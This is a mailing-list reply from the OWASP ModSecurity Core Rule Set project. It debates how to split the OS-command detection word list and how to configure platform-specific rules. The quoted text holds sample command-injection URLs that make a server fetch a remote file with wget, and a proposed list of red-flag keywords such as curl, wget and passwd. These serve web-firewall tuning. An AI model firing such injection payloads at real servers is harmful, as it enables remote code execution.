Hi there, On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: > I like the idea of splitting the file.
Cool. > I agree some of the words in os-commands.data seem rather paranoid. Words > like "choice", "help", "now” seem of low value and are common in natural > text. Also, the large number of Unix-only environments could skip Windows > related commands. It’s hard for users to modify these lists as you’d have to > hack the CRS, and these huge collections are to maintain anyhow, so I agree > we need granularity. Good point. > The rule has some regexp magic to prevent false positives, but the balance is > not a complete success in my opinion. For instance, the following URLs don't > trigger in CRSv3: > http://vuln/?cmd=wget%20http://example.com/blah.txt > http://vuln/?cmd=sh%20blah.txt > > So it's not as strong as you would want either to prevent some common RCE. > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo does > trigger it. I see. Good observations. > 1) I think that a user should check their desired platforms in the setup > conf. In fact, this would be great to do anyway in the initial 3.0.0 release > even if we DON'T look at it in any rule yet. Specifying platform types will > pave the way for reducing false positives and false negatives by skipping > unnecessary checks and being more strict on the right platforms. So we could > start by listing these platforms in the existing rule in the setup conf. > Example: > > SecAction \ > "id:'900024', \ > phase:1, \ > t:none, \ > setvar:tx.unix=1, \ > setvar:tx.windows=1, \ > setvar:tx.java=1, \ > setvar:tx.php=1, \ That makes a lot of sense. At first sight. I think that a default install should come with these rulesets all enabled and a sysadmin can then switch them of if we is aware that there is no php in his service. So given the following two scenarios #1 - Newbie sysadmin installs ModSec and runs into a lot of false positives because he does not disable unneeded rulesets #2 - Newbie sysadmin installs ModSec and is p0wned because he does not enable the php protection I strongly favour #1. A vanilla install of the core rules should give you a full coverage for all types of services and a decent security level. Reducing false positives by omitting certain rules (ideally rules which provide no value for your setup) is the very idea of tuning. Reducing the initial number of false positives by moving certain rules with a worse relationsship between added security and false positives, that is the idea of the paranoia mode. Chaim stated in a different message, that the rules are now organised into files aimed at certain environments. So switching them off is fairly easy. And there are the tags on top of it. So you have tag:'language-PHP' and setting SecRuleRemoveByTag will disable them all very easily. So I think, we do not need these variables. > (By the way: I think it’s unfortunate that a user has to use value 1 to > enable a check. An undefined variable will mean that the CRS will skip some > rules. This makes it dangerous to introduce a new variable in the CRS later; > all existing installations MUST then add this variable to their setup rule > immediately, or suffer from reduced security. It’s better to use a scheme > that defaults to “on”. A convention like “tx.disable_mysql=1” would be user > unfriendly and error-prone. But we could check for an explicit “off” string, > e.g. “setvar:tx.mysql=off”. If it’s not “off” then assume that the user DOES > want the check. I think it’s important to get this right in 3.0.0, it will be > more painful to do it later.) That's a very good observation. I had a similar idea once. In programming, you usually start with a default value and then the users overrides the default value. If he wants to. I am not sure how modsecurity_crs_10_setup.conf.example is going to be transformed to work seamlessly with 3.0. But this makes the setting of default values a bit tricky. Maybe a file REQUEST-02-DEFAULTS.conf could set default values if certain variables are not set. > 2) Separate the words into multiple lists: > os-commands-critical.data (absolute red flag list: "curl", "passwd", > "sh", "uname", "wget" etc.) > os-commands-paranoid.data (absolute low value, but high FP natural > words like "choice") > os-commands-windows.data (all Windows commands) > os-commands-common.data (all other commands) Makes some sense. Too granular is difficult and you mix various grouping criteria (criticality, paranoia, os), which makes is a bit hard to follow. Other opinions? > 3) Review the current regexp against some test data and CRSv2 to make it more > sensitive Good plan. Maybe this could be done in a separate pull request. I am afraid to overload the paranoia mode pull request... Ahoj, Christian -- In war you will generally find that the enemy has at any time three courses of action open to him. Of those three, he will invariably choose the fourth. -- Helmuth Von Moltke _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
